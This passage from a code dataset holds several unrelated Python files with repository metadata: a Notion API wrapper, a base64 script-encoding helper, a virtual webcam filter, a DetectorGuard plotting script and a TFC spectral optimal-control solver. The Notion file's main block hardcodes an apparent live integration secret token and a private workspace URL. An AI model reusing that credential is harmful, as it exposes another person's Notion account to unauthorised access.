_BLANK_DATABASE_TEMPLATE = {\n \"object\": \"list\",\n \"results\":\n [\n \"PAGE_DATA_1\",\n \"PAGE_DATA_2\",\n \"...........\"\n ],\n \"next_cursor\": null,\n \"has_more\": false\n }\n\n def updateDatabase():\n pass\n\n def getIDObject():\n info = {\n \"type\": \"database_id\",\n \"database_id\": self.databaseID\n }\n return info\n\n def __repr__(self):\n return json.dumps(self.data, indent=3)\n\n\n\nclass NotionPage(object):\n \"\"\"PAGE OBJECT\n {\n object:\n id:\n created_time:\n last_edited_time:\n created_by:\n last_edited_by:\n cover:\n icon:\n parent:\n }\n \"\"\"\n def __init__(self, pageID, token):\n super(NotionPage, self).__init__()\n self.pageID = pageID\n self.headers = _GET_HEADERS_FROM_TOKEN(token)\n self.data = None\n\n def createPage(self, newPageData, databaseID):\n #TODO - Update self.data after create page\n _BLANK_PAGE_TEMPLATE = {\n \"object\": \"page\",\n \"id\": \"0e2475ec-cb6c-457d-ba50-09990f54fd4f\",\n \"created_time\": \"2022-04-12T10:21:00.000Z\",\n \"last_edited_time\": \"2022-04-12T10:21:00.000Z\",\n \"created_by\":\n {\n \"object\": \"user\",\n \"id\": \"20f3bc22-ba63-4f66-98b7-e665387b3138\"\n },\n \"last_edited_by\":\n {\n \"object\": \"user\",\n \"id\": \"20f3bc22-ba63-4f66-98b7-e665387b3138\"\n },\n \"cover\": null,\n \"icon\": null,\n \"parent\":\n {\n \"type\": \"database_id\",\n \"database_id\": \"6ee7657b-d396-47aa-991e-51edcc3167a3\"\n },\n \"archived\": false,\n \"properties\":\n {\n \"Name\":\n {\n \"id\": \"title\",\n \"type\": \"title\",\n \"title\":\n []\n }\n },\n \"url\": \"https://www.notion.so/0e2475eccb6c457dba5009990f54fd4f\"\n }\n\n createUrl = 'https://api.notion.com/v1/pages'\n data = json.dumps(newPageData)\n res = requests.request(\"POST\", createUrl, headers=self.headers, data=data)\n statusCode = res.status_code\n # print(res.text)\n if statusCode == 200:\n print(f\"--Page Creation Completed : Status {statusCode}\")\n self.data[\"results\"].append(newPageData)\n return\n else:\n print(f\"--Page Creation Failed : Status {statusCode}\")\n return None\n\n def updatePage(self, updateData, pageId):\n updateUrl = f\"https://api.notion.com/v1/pages/{pageId}\"\n data = json.dumps(updateData)\n response = requests.request(\"PATCH\", updateUrl, headers=self.headers, data=data)\n print(response.status_code)\n # print(response.text)\n\n\n\n\n\n\n\nif __name__ == \"__main__\":\n notionBase = NotionBase('secret_wFBrBJ2HvixP9R8eZvo5WFzLqkiyQWzC46eFH9QWDp7')\n\n testURL = \"https://www.notion.so/rysav/6ee7657bd39647aa991e51edcc3167a3?v=cf2aa57ea6234b01a0703797e4850ba3\"\n notionDatabase = NotionDatabase.from_a_view_URL(testURL, notionBase)\n\n # print(notionBase)\n databaseData = notionDatabase.readDatabase()\n # print(notionDatabase)\n # newPageData = {\n # \"object\": \"page\",\n # \"id\": \"0e2475ec-cb6c-457d-ba50-09990f54fd4f\",\n # \"created_time\": \"2022-04-12T10:21:00.000Z\",\n # \"last_edited_time\": \"2022-04-12T10:21:00.000Z\",\n # \"created_by\":\n # {\n # \"object\": \"user\",\n # \"id\": \"20f3bc22-ba63-4f66-98b7-e665387b3138\"\n # },\n # \"last_edited_by\":\n # {\n # \"object\": \"user\",\n # \"id\": \"20f3bc22-ba63-4f66-98b7-e665387b3138\"\n # },\n # \"parent\":\n # {\n # \"type\": \"database_id\",\n # \"database_id\": \"6ee7657b-d396-47aa-991e-51edcc3167a3\"\n # },\n # \"archived\": false,\n # \"properties\":\n # {\n # \"Name\":\n # {\n # \"id\": \"title\",\n # \"type\": \"title\",\n # \"title\":\n # []\n # }\n # },\n # \"url\": \"https://www.notion.so/0e2475eccb6c457dba5009990f54fd4f\"\n # }\n\n # notionDB.createPage(newPageData)\n\n\n\n\n\n\n\n\n\n\n", "repo_name": "rysabh/easy-notion-py", "sub_path": "previous files/notion_api 3.py", "file_name": "notion_api 3.py", "file_ext": "py", "file_size_in_byte": 6887, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 0, "dataset": "github-code", "pt": "71", "api": [{"api_name": "re.compile", "line_number": 15, "usage_type": "call"}, {"api_name": "re.search", "line_number": 16, "usage_type": "call"}, {"api_name": "json.dump", "line_number": 24, "usage_type": "call"}, {"api_name": "json.dumps", "line_number": 52, "usage_type": "call"}, {"api_name": "requests.request", "line_number": 82, "usage_type": "call"}, {"api_name": "json.dumps", "line_number": 118, "usage_type": "call"}, {"api_name": "json.dumps", "line_number": 181, "usage_type": "call"}, {"api_name": "requests.request", "line_number": 182, "usage_type": "call"}, {"api_name": "json.dumps", "line_number": 195, "usage_type": "call"}, {"api_name": "requests.request", "line_number": 196, "usage_type": "call"}]} {"seq_id": "34941286144", "text": "# -*- coding: utf-8 -*-\nimport base64\n\nSCRIPT_SETS = {\n \"search_host_files\": \"config_query/job_scripts/search_host_files\",\n \"backup_host_files\": \"config_query/job_scripts/backup_host_files\",\n}\n\n\ndef get_script_base64(script_name, params=\"\"):\n \"\"\"\n 获取对应脚本的base64编码\n \"\"\"\n with open(SCRIPT_SETS[script_name], \"r\", encoding=\"utf-8\") as f:\n script_content = f.read()\n\n return base64.b64encode(script_content.encode(\"utf8\")).decode(\"utf-8\"), base64.b64encode(\n params.encode(\"utf8\")\n ).decode(\"utf-8\")\n", "repo_name": "wheel-w/bk-conf-query", "sub_path": "config_query/job_scripts/base.py", "file_name": "base.py", "file_ext": "py", "file_size_in_byte": 552, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 0, "dataset": "github-code", "pt": "71", "api": [{"api_name": "base64.b64encode", "line_number": 17, "usage_type": "call"}]} {"seq_id": "33026124512", "text": "from webcamsettings import WebCamSettings\n\nimport pyvirtualcam\nimport cv2 as cv2\nimport threading\n\nclass VirtualWebcam():\n def __init__(self, webCamSettings: WebCamSettings):\n self.__webCamSettings = webCamSettings\n\n self.__cam = None\n self.__stopAllThreads = False\n self.__webcamThread = threading.Thread(target=self.__StartVirtualWebcamThread)\n \n def ConnectToCamera(self, cameraIndex: int, resolution: tuple):\n self.Stop()\n\n self.__cam = cv2.VideoCapture(cameraIndex, cv2.CAP_DSHOW)\n if not self.__cam.isOpened():\n return False, f\"Camera index {cameraIndex} is invalid.\"\n \n (width, height) = resolution\n self.__cam.set(cv2.CAP_PROP_FRAME_WIDTH, width)\n self.__cam.set(cv2.CAP_PROP_FRAME_HEIGHT, height)\n\n actualW = self.__cam.get(cv2.CAP_PROP_FRAME_WIDTH)\n actualH = self.__cam.get(cv2.CAP_PROP_FRAME_HEIGHT)\n\n if actualW == width and actualH == height:\n self.__resolutionWidth = width\n self.__resolutionHeight = height\n self.__stopAllThreads = False\n self.__webcamThread.start()\n return True, \"\"\n \n self.__cam.release()\n return False, f\"The camera index {cameraIndex} does not support the selected resolution ({width} x {height})\"\n\n\n def Stop(self):\n if self.__webcamThread.is_alive():\n self.__stopAllThreads = True\n self.__webcamThread.join()\n\n if self.__cam != None:\n self.__cam.release()\n\n cv2.destroyAllWindows()\n\n def __StartVirtualWebcamThread(self):\n with pyvirtualcam.Camera(width=self.__resolutionWidth, height=self.__resolutionHeight, fps=30) as virtualCam:\n self.__webCamSettings.SetVirtualCameraName(f'Using virtual camera: {virtualCam.device}')\n while not self.__stopAllThreads:\n # Capture frame-by-frame\n ret, frame = self.__cam.read()\n # if frame is read correctly ret is True\n if not ret:\n print(\"Can't receive frame (stream end?). Exiting ...\")\n break\n \n frame = self.__ProcessFrame(frame=frame)\n\n virtualCam.send(frame)\n virtualCam.sleep_until_next_frame()\n\n def __ProcessFrame(self, frame):\n frame = cv2.cvtColor(frame, cv2.COLOR_BGR2RGB)\n\n # 1. Apply brightness & contrast \n alpha = self.__webCamSettings.GetContrast() # Contrast control\n beta = self.__webCamSettings.GetBrightness() # Brightness control\n frame = cv2.convertScaleAbs(frame, alpha=alpha, beta=beta)\n\n # 2. Apply image flip\n hFlip, vFlip = self.__webCamSettings.GetFlip()\n if hFlip:\n frame = cv2.flip(frame, 1)\n if vFlip:\n frame = cv2.flip(frame, 0)\n return frame\n ", "repo_name": "banujan59/VirtualWebcam", "sub_path": "virtualwebcam.py", "file_name": "virtualwebcam.py", "file_ext": "py", "file_size_in_byte": 2893, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 0, "dataset": "github-code", "pt": "71", "api": [{"api_name": "webcamsettings.WebCamSettings", "line_number": 8, "usage_type": "name"}, {"api_name": "threading.Thread", "line_number": 13, "usage_type": "call"}, {"api_name": "cv2.VideoCapture", "line_number": 18, "usage_type": "call"}, {"api_name": "cv2.CAP_DSHOW", "line_number": 18, "usage_type": "attribute"}, {"api_name": "cv2.CAP_PROP_FRAME_WIDTH", "line_number": 23, "usage_type": "attribute"}, {"api_name": "cv2.CAP_PROP_FRAME_HEIGHT", "line_number": 24, "usage_type": "attribute"}, {"api_name": "cv2.CAP_PROP_FRAME_WIDTH", "line_number": 26, "usage_type": "attribute"}, {"api_name": "cv2.CAP_PROP_FRAME_HEIGHT", "line_number": 27, "usage_type": "attribute"}, {"api_name": "cv2.destroyAllWindows", "line_number": 48, "usage_type": "call"}, {"api_name": "pyvirtualcam.Camera", "line_number": 51, "usage_type": "call"}, {"api_name": "cv2.cvtColor", "line_number": 67, "usage_type": "call"}, {"api_name": "cv2.COLOR_BGR2RGB", "line_number": 67, "usage_type": "attribute"}, {"api_name": "cv2.convertScaleAbs", "line_number": 72, "usage_type": "call"}, {"api_name": "cv2.flip", "line_number": 77, "usage_type": "call"}, {"api_name": "cv2.flip", "line_number": 79, "usage_type": "call"}]} {"seq_id": "27031058792", "text": "import numpy as np\nimport matplotlib\nmatplotlib.use('Agg')\nimport matplotlib.pyplot as plt\nimport argparse\nimport os\nimport joblib\n\n\nparser = argparse.ArgumentParser()\nparser.add_argument(\"--imgst_dir\",default='mimgst',type=str)\nparser.add_argument(\"--dataset\",default='voc',choices=['voc','coco','kitti'],type=str,help='dataset name')\nparser.add_argument(\"--mode\",default='clip',choices=['mask','clip'],type=str,help='type of secure PatchGuard aggregation; robust masking or clipping')\nparser.add_argument(\"--w\",default=8,type=int)\nparser.add_argument(\"--m\",default=-1,type=int)\nparser.add_argument(\"--t\",default=32,type=float)\nparser.add_argument(\"--eps\",default=3,type=int,help='DBSCAN eps')\nparser.add_argument(\"--ms\",default=24,type=int,help='DBSCAN min number of samples')\n\nargs = parser.parse_args()\n\n\nDATASET = args.dataset\nfont = {'family' : 'serif',\n #'weight' : 'bold',\n 'size' : 12}\n\nmatplotlib.rc('font', **font)\n\n\n########################################GT################################\nSETTING = '{}_{}_w{}m{}t{:.1f}_{}_{}'.format('gt',args.mode,args.w,args.m,args.t,args.eps,args.ms)\nIMGST_DIR = os.path.join(args.imgst_dir,DATASET,SETTING)\n\nprec = np.mean(joblib.load(os.path.join(IMGST_DIR,'prec.z')))\nrec = np.mean(joblib.load(os.path.join(IMGST_DIR,'rec.z')))\ngt_fa_list = joblib.load(os.path.join(IMGST_DIR,'fa_list.z'))\n\nplt.plot([100],[100],'o',label='Precision-PCD-vanilla',markersize=6)\n\nplt.plot([rec*100],[prec*100],'x',label='Precision-PCD-defended',markersize=6)\ngt_rec = rec\n###############################################################################\n\n\n\ndef process(prec,rec,fa_list,conf_cut):\n\tthres_list=np.linspace(0,0.999,1000)[::-1]\n\ttmp = thres_list < conf_cut\n\tthres_list = thres_list[tmp]\n\tprec = prec[tmp]\n\trec = rec[tmp]\n\t#prec = np.nanmean(np.where(prec!=0,prec,np.nan),1)\n\t#rec = np.nanmean(np.where(rec!=0,rec,np.nan),1)\n\tprec = np.mean(prec,1)\n\trec = np.mean(rec,1)\n\tfa_list = fa_list[tmp]\n\ttmp = np.argsort(rec)\n\trec= rec[tmp]\n\tprec= prec[tmp]\n\tfa_list= fa_list[tmp]\n\treturn prec,rec,fa_list\nlw = 2\n\nif DATASET == 'voc':\n\tyolo_cut = 0.945\n\tfrcnn_cut = 0.999\nelif DATASET =='coco':\n\tyolo_cut = 0.9\n\tfrcnn_cut = 0.997\nelif DATASET == 'kitti':\n\tyolo_cut = 0.925\n\tfrcnn_cut = 0.9999\n######################YOLO########################################################\nprec = joblib.load(os.path.join(args.imgst_dir,args.dataset,'prec_vanilla_{}.z'.format('yolo')))\nrec = joblib.load(os.path.join(args.imgst_dir,args.dataset,'rec_vanilla_{}.z'.format('yolo')))\nfa_list = joblib.load(os.path.join(args.imgst_dir,args.dataset,'fa_list_vanilla_{}.z'.format('yolo')))\n\nprec,rec,fa_list = process(prec,rec,fa_list,yolo_cut)\nplt.plot(rec*100,prec*100,label='Precision-YOLO-vanilla',linestyle='-',linewidth=lw)\n\n\n#####################YOLO_DPG########################################################\nSETTING = '{}_{}_w{}m{}t{:.1f}_{}_{}'.format('yolo',args.mode,args.w,args.m,args.t,args.eps,args.ms)\nIMGST_DIR = os.path.join(args.imgst_dir,DATASET,SETTING)\n\nprec = joblib.load(os.path.join(IMGST_DIR,'prec.z'))\nrec = joblib.load(os.path.join(IMGST_DIR,'rec.z'))\nfa_list = joblib.load(os.path.join(IMGST_DIR,'fa_list.z'))\n\nprec,rec,fa_list = process(prec,rec,fa_list,yolo_cut)\nplt.plot(rec*100,prec*100,label='Precision-YOLO-defended',linestyle='-.',linewidth=lw)\n\nyolo_fa_list= fa_list.copy()\nyolo_rec = rec.copy()\n\n######################FRCNN########################################################\nprec = joblib.load(os.path.join(args.imgst_dir,args.dataset,'prec_vanilla_{}.z'.format('frcnn')))\nrec = joblib.load(os.path.join(args.imgst_dir,args.dataset,'rec_vanilla_{}.z'.format('frcnn')))\nfa_list = joblib.load(os.path.join(args.imgst_dir,args.dataset,'fa_list_vanilla_{}.z'.format('frcnn')))\n\nprec,rec,fa_list = process(prec,rec,fa_list,frcnn_cut)\nplt.plot(rec*100,prec*100,label='Precision-FRCNN-vanilla',linestyle='--',linewidth=lw)\n\n\n############FRCNN_DPG###############################################\n\nSETTING = '{}_{}_w{}m{}t{:.1f}_{}_{}'.format('frcnn',args.mode,args.w,args.m,args.t,args.eps,args.ms)\nIMGST_DIR = os.path.join(args.imgst_dir,DATASET,SETTING)\n\nprec = joblib.load(os.path.join(IMGST_DIR,'prec.z'))\nrec = joblib.load(os.path.join(IMGST_DIR,'rec.z'))\nfa_list = joblib.load(os.path.join(IMGST_DIR,'fa_list.z'))\n\nprec,rec,fa_list = process(prec,rec,fa_list,frcnn_cut)\nplt.plot(rec*100,prec*100,label='Precision-FRCNN-defended',linestyle='-.',linewidth=lw)\n\nfrcnn_fa_list= fa_list.copy()\nfrcnn_rec = rec.copy()\n\n\n############FAR##########################################################\n\nplt.plot([gt_rec*100],[gt_fa_list*100],'D',label='FAR-PCD-defended',markersize=6)\n\nplt.plot(yolo_rec*100,yolo_fa_list*100,label='FAR-YOLO-defended',linestyle='-',linewidth=lw)\nplt.plot(frcnn_rec*100,frcnn_fa_list*100,label='FAR-FRCNN-defended',linestyle='-.',linewidth=lw)\n\n\nplt.legend(loc='center left')\nplt.grid()\nplt.xlabel('Recall (%)')\nplt.ylabel('Precision / FAR (%)')\n\nplt.xticks(np.arange(10,110,10))\nplt.yticks(np.arange(0,110,10))\n\n#plt.xlim([0,1])\n#plt.ylim([0,1])\nplt.tight_layout()\nplt.savefig('clean_{}_{}.png'.format(DATASET,args.mode))\nplt.savefig('clean_{}_{}.pdf'.format(DATASET,args.mode))\nplt.close()\n\n\n", "repo_name": "inspire-group/DetectorGuard", "sub_path": "misc/plot_clean.py", "file_name": "plot_clean.py", "file_ext": "py", "file_size_in_byte": 5189, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 13, "dataset": "github-code", "pt": "71", "api": [{"api_name": "matplotlib.use", "line_number": 3, "usage_type": "call"}, {"api_name": "argparse.ArgumentParser", "line_number": 10, "usage_type": "call"}, {"api_name": "matplotlib.rc", "line_number": 28, "usage_type": "call"}, {"api_name": "os.path.join", "line_number": 33, "usage_type": "call"}, {"api_name": "os.path", "line_number": 33, "usage_type": "attribute"}, {"api_name": "numpy.mean", "line_number": 35, "usage_type": "call"}, {"api_name": "joblib.load", "line_number": 35, "usage_type": "call"}, {"api_name": "os.path.join", "line_number": 35, "usage_type": "call"}, {"api_name": "os.path", "line_number": 35, "usage_type": "attribute"}, {"api_name": "numpy.mean", "line_number": 36, "usage_type": "call"}, {"api_name": "joblib.load", "line_number": 36, "usage_type": "call"}, {"api_name": "os.path.join", "line_number": 36, "usage_type": "call"}, {"api_name": "os.path", "line_number": 36, "usage_type": "attribute"}, {"api_name": "joblib.load", "line_number": 37, "usage_type": "call"}, {"api_name": "os.path.join", "line_number": 37, "usage_type": "call"}, {"api_name": "os.path", "line_number": 37, "usage_type": "attribute"}, {"api_name": "matplotlib.pyplot.plot", "line_number": 39, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 39, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.plot", "line_number": 41, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 41, "usage_type": "name"}, {"api_name": "numpy.linspace", "line_number": 48, "usage_type": "call"}, {"api_name": "numpy.mean", "line_number": 55, "usage_type": "call"}, {"api_name": "numpy.mean", "line_number": 56, "usage_type": "call"}, {"api_name": "numpy.argsort", "line_number": 58, "usage_type": "call"}, {"api_name": "joblib.load", "line_number": 75, "usage_type": "call"}, {"api_name": "os.path.join", "line_number": 75, "usage_type": "call"}, {"api_name": "os.path", "line_number": 75, "usage_type": "attribute"}, {"api_name": "joblib.load", "line_number": 76, "usage_type": "call"}, {"api_name": "os.path.join", "line_number": 76, "usage_type": "call"}, {"api_name": "os.path", "line_number": 76, "usage_type": "attribute"}, {"api_name": "joblib.load", "line_number": 77, "usage_type": "call"}, {"api_name": "os.path.join", "line_number": 77, "usage_type": "call"}, {"api_name": "os.path", "line_number": 77, "usage_type": "attribute"}, {"api_name": "matplotlib.pyplot.plot", "line_number": 80, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 80, "usage_type": "name"}, {"api_name": "os.path.join", "line_number": 85, "usage_type": "call"}, {"api_name": "os.path", "line_number": 85, "usage_type": "attribute"}, {"api_name": "joblib.load", "line_number": 87, "usage_type": "call"}, {"api_name": "os.path.join", "line_number": 87, "usage_type": "call"}, {"api_name": "os.path", "line_number": 87, "usage_type": "attribute"}, {"api_name": "joblib.load", "line_number": 88, "usage_type": "call"}, {"api_name": "os.path.join", "line_number": 88, "usage_type": "call"}, {"api_name": "os.path", "line_number": 88, "usage_type": "attribute"}, {"api_name": "joblib.load", "line_number": 89, "usage_type": "call"}, {"api_name": "os.path.join", "line_number": 89, "usage_type": "call"}, {"api_name": "os.path", "line_number": 89, "usage_type": "attribute"}, {"api_name": "matplotlib.pyplot.plot", "line_number": 92, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 92, "usage_type": "name"}, {"api_name": "joblib.load", "line_number": 98, "usage_type": "call"}, {"api_name": "os.path.join", "line_number": 98, "usage_type": "call"}, {"api_name": "os.path", "line_number": 98, "usage_type": "attribute"}, {"api_name": "joblib.load", "line_number": 99, "usage_type": "call"}, {"api_name": "os.path.join", "line_number": 99, "usage_type": "call"}, {"api_name": "os.path", "line_number": 99, "usage_type": "attribute"}, {"api_name": "joblib.load", "line_number": 100, "usage_type": "call"}, {"api_name": "os.path.join", "line_number": 100, "usage_type": "call"}, {"api_name": "os.path", "line_number": 100, "usage_type": "attribute"}, {"api_name": "matplotlib.pyplot.plot", "line_number": 103, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 103, "usage_type": "name"}, {"api_name": "os.path.join", "line_number": 109, "usage_type": "call"}, {"api_name": "os.path", "line_number": 109, "usage_type": "attribute"}, {"api_name": "joblib.load", "line_number": 111, "usage_type": "call"}, {"api_name": "os.path.join", "line_number": 111, "usage_type": "call"}, {"api_name": "os.path", "line_number": 111, "usage_type": "attribute"}, {"api_name": "joblib.load", "line_number": 112, "usage_type": "call"}, {"api_name": "os.path.join", "line_number": 112, "usage_type": "call"}, {"api_name": "os.path", "line_number": 112, "usage_type": "attribute"}, {"api_name": "joblib.load", "line_number": 113, "usage_type": "call"}, {"api_name": "os.path.join", "line_number": 113, "usage_type": "call"}, {"api_name": "os.path", "line_number": 113, "usage_type": "attribute"}, {"api_name": "matplotlib.pyplot.plot", "line_number": 116, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 116, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.plot", "line_number": 124, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 124, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.plot", "line_number": 126, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 126, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.plot", "line_number": 127, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 127, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.legend", "line_number": 130, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 130, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.grid", "line_number": 131, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 131, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.xlabel", "line_number": 132, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 132, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.ylabel", "line_number": 133, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 133, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.xticks", "line_number": 135, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 135, "usage_type": "name"}, {"api_name": "numpy.arange", "line_number": 135, "usage_type": "call"}, {"api_name": "matplotlib.pyplot.yticks", "line_number": 136, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 136, "usage_type": "name"}, {"api_name": "numpy.arange", "line_number": 136, "usage_type": "call"}, {"api_name": "matplotlib.pyplot.tight_layout", "line_number": 140, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 140, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.savefig", "line_number": 141, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 141, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.savefig", "line_number": 142, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 142, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.close", "line_number": 143, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 143, "usage_type": "name"}]} {"seq_id": "31392191609", "text": "from tfc import utfc\nfrom tfc.utils import TFCDictRobust, egrad, NllsClass, MakePlot\n\nimport numpy as onp\nimport jax.numpy as np\nfrom jax import vmap, jacfwd, jit, lax\n\nimport tqdm\nimport pickle\n\nfrom scipy.optimize import fsolve\nfrom time import process_time as timer\n\n## TEST PARAMETERS: ***************************************************\ntol = np.finfo(float).eps\nmaxIter = 50\n\n## CONSTANTS: *********************************************************\n# Number of points to use\nN = 100\n\n# Number of basis functions to use\nms = 30\nmc = 1\n\n# Number of constraints\nnCx = 0\nnCy = 0\n\n## GET CHEBYSHEV VALUES **********************************************\nstfc = utfc(N,nCx,ms,basis='CP',x0 = -1, xf = 1.)\nctfc = utfc(N,nCy,mc,basis='CP',x0 = -1, xf = 1.)\n\nHs = stfc.H\nHc = ctfc.H\n\n## DEFINE THE ASSUMED SOLUTION **************************************\nz = stfc.z\nz0 = z[0]\nzf = z[-1]\n\n\n## DEFINE CONSTRAINED EXPRESSION *************************************\nr = lambda z, xi, IC: np.dot(Hs(z),xi['xis'])\nv = egrad(r,0)\na = egrad(v,0)\n\nlam = lambda z, xi: np.dot(Hc(z),xi['xic'])\nlamr = egrad(lam,0)\n\n\n## FORM LOSS AND JACOBIAN ***********************************************************************************\nL0 = lambda xi,IC: r(z,xi,IC)[0,:] - IC['R0']\nLd0 = lambda xi,IC: xi['b']**2 * v(z,xi,IC)[0,:] - IC['V0']\nLf = lambda xi,IC: r(z,xi,IC)[-1,:]\nLdf = lambda xi,IC: xi['b']**2 * v(z,xi,IC)[-1,:]\n\nLs = lambda xi,IC: xi['b']**4 * a(z,xi,IC) - IC['ag'] + lam(z,xi)\n\n\n# Htf = lambda xi,IC: np.dot(lam(z,xi)[-1,:],(-1./2.*lam(z,xi)[-1,:] + IC['ag']))\n# Updated because need to at lam_r * v term for spectral method\nHtf = lambda xi,IC: np.dot(lam(z,xi)[-1,:],(-1./2.*lam(z,xi)[-1,:] + IC['ag'])) \\\n + np.dot(-xi['b']**2 *lamr(z,xi)[-1,:], xi['b']**2 * v(z,xi,IC)[-1,:])\n\nL = jit(lambda xi,IC: np.hstack([Ls(xi,IC)[1:-1,:].flatten(), \\\n L0(xi,IC).flatten(), \\\n Ld0(xi,IC).flatten(), \\\n Lf(xi,IC).flatten(), \\\n Ldf(xi,IC).flatten(), \\\n Htf(xi,IC)] ))\n\n\n## INITIALIZE VARIABLES *************************************************************************************\nxis = onp.zeros((Hs(z).shape[1],3))\nxic = onp.zeros((Hc(z).shape[1],3))\nb = np.sqrt(2)*onp.ones(1)\n\n\nxi = TFCDictRobust({'xis':xis,\\\n 'xic':xic,\\\n 'b':b})\n\nIC = {'R0': np.zeros((3,)), 'V0': np.zeros((3,)), 'ag': np.zeros((3,))}\n\n## NONLINEAR LEAST-SQUARES CLASS *****************************************************************************\nnlls = NllsClass(xi,L,IC,tol=tol,maxIter=maxIter,timer=True)\n\ndata = pickle.load(open('data/EOL_IC.pickle','rb'))\nsol = {'loss': onp.zeros((data['R0'].shape[0])), 'it': onp.zeros((data['R0'].shape[0])), 'time': onp.zeros((data['R0'].shape[0]))}\n## RUN TEST *************************************************************************************************\nfor i in tqdm.trange(data['R0'].shape[0]):\n R0 = data['R0'][i,:]\n V0 = data['V0'][i,:]\n\n ## scale initial conditons\n pscale = np.max(np.abs(R0))\n tscale = pscale/np.max(np.abs(V0))\n\n xi = TFCDictRobust({'xis':onp.zeros((Hs(z).shape[1],3)),\\\n 'xic':onp.array([0.5 * (V0 - R0), -0.5*(V0 + R0)]),\\\n 'b':np.sqrt(10.)*onp.ones(1)})\n\n\n IC['R0'] = R0 / pscale\n IC['V0'] = V0 * tscale/pscale\n IC['ag'] = np.array([0., 0., -1.62]) * tscale**2/pscale\n\n xi,it,time = nlls.run(xi,IC)\n\n sol['loss'][i] = np.max(np.abs(L(xi,IC)))\n sol['it'][i] = it\n sol['time'][i] = time\n\n## END: **************************************************************\n# with open('data/EOL_Spec.pickle', 'wb') as handle:\n# pickle.dump(sol, handle)\n", "repo_name": "leakec/tfc", "sub_path": "examples/Hunter_Johnston_Dissertation/Chapter_6/Example_6_2/Spec_EOL.py", "file_name": "Spec_EOL.py", "file_ext": "py", "file_size_in_byte": 3789, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 26, "dataset": "github-code", "pt": "71", "api": [{"api_name": "jax.numpy.finfo", "line_number": 15, "usage_type": "call"}, {"api_name": "jax.numpy", "line_number": 15, "usage_type": "name"}, {"api_name": "tfc.utfc", "line_number": 31, "usage_type": "call"}, {"api_name": "tfc.utfc", "line_number": 32, "usage_type": "call"}, {"api_name": "jax.numpy.dot", "line_number": 44, "usage_type": "call"}, {"api_name": "jax.numpy", "line_number": 44, "usage_type": "name"}, {"api_name": "tfc.utils.egrad", "line_number": 45, "usage_type": "call"}, {"api_name": "tfc.utils.egrad", "line_number": 46, "usage_type": "call"}, {"api_name": "jax.numpy.dot", "line_number": 48, "usage_type": "call"}, {"api_name": "jax.numpy", "line_number": 48, "usage_type": "name"}, {"api_name": "tfc.utils.egrad", "line_number": 49, "usage_type": "call"}, {"api_name": "jax.numpy.dot", "line_number": 63, "usage_type": "call"}, {"api_name": "jax.numpy", "line_number": 63, "usage_type": "name"}, {"api_name": "jax.numpy.dot", "line_number": 64, "usage_type": "call"}, {"api_name": "jax.numpy", "line_number": 64, "usage_type": "name"}, {"api_name": "jax.jit", "line_number": 66, "usage_type": "call"}, {"api_name": "jax.numpy.hstack", "line_number": 66, "usage_type": "call"}, {"api_name": "jax.numpy", "line_number": 66, "usage_type": "name"}, {"api_name": "numpy.zeros", "line_number": 75, "usage_type": "call"}, {"api_name": "numpy.zeros", "line_number": 76, "usage_type": "call"}, {"api_name": "jax.numpy.sqrt", "line_number": 77, "usage_type": "call"}, {"api_name": "jax.numpy", "line_number": 77, "usage_type": "name"}, {"api_name": "numpy.ones", "line_number": 77, "usage_type": "call"}, {"api_name": "tfc.utils.TFCDictRobust", "line_number": 80, "usage_type": "call"}, {"api_name": "jax.numpy.zeros", "line_number": 84, "usage_type": "call"}, {"api_name": "jax.numpy", "line_number": 84, "usage_type": "name"}, {"api_name": "tfc.utils.NllsClass", "line_number": 87, "usage_type": "call"}, {"api_name": "pickle.load", "line_number": 89, "usage_type": "call"}, {"api_name": "numpy.zeros", "line_number": 90, "usage_type": "call"}, {"api_name": "tqdm.trange", "line_number": 92, "usage_type": "call"}, {"api_name": "jax.numpy.max", "line_number": 97, "usage_type": "call"}, {"api_name": "jax.numpy", "line_number": 97, "usage_type": "name"}, {"api_name": "jax.numpy.abs", "line_number": 97, "usage_type": "call"}, {"api_name": "jax.numpy.max", "line_number": 98, "usage_type": "call"}, {"api_name": "jax.numpy", "line_number": 98, "usage_type": "name"}, {"api_name": "jax.numpy.abs", "line_number": 98, "usage_type": "call"}, {"api_name": "tfc.utils.TFCDictRobust", "line_number": 100, "usage_type": "call"}, {"api_name": "numpy.zeros", "line_number": 100, "usage_type": "call"}, {"api_name": "numpy.array", "line_number": 101, "usage_type": "call"}, {"api_name": "jax.numpy.sqrt", "line_number": 102, "usage_type": "call"}, 